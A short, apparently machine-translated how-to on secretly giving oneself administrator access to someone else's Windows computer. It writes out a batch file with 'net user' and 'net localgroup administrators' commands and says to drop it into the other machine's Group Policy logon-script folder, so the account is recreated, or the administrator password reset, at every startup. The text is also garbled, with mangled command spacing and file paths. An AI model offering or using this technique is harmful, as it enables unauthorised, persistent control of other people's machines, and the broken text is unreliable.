Always set up an administrator user for someone else's computer.

Procedure:
1. Create a. txt file on your computer.
2. Enter content in it
@ Echo off
Net user 12 12/add note: the first 12 is the user name followed by the password;
Net localgroup administrators 12/add
3. Save the file and change the suffix to 123.bat. Note: The previous name is casual and the subsequent format must be bat;
4. copy the file to the C: WINNTsystem32GroupPolicyUserScriptsLogon file directory of the other computer. If not, create the file by yourself.
Finished. The next time the other computer has this administrator account, deleted, and started again!
If you change the content
@ Echo off
Net user administrator 12/add
It means that no matter how you change the password, the next time you start the administrator account, the administrator password is always 12.
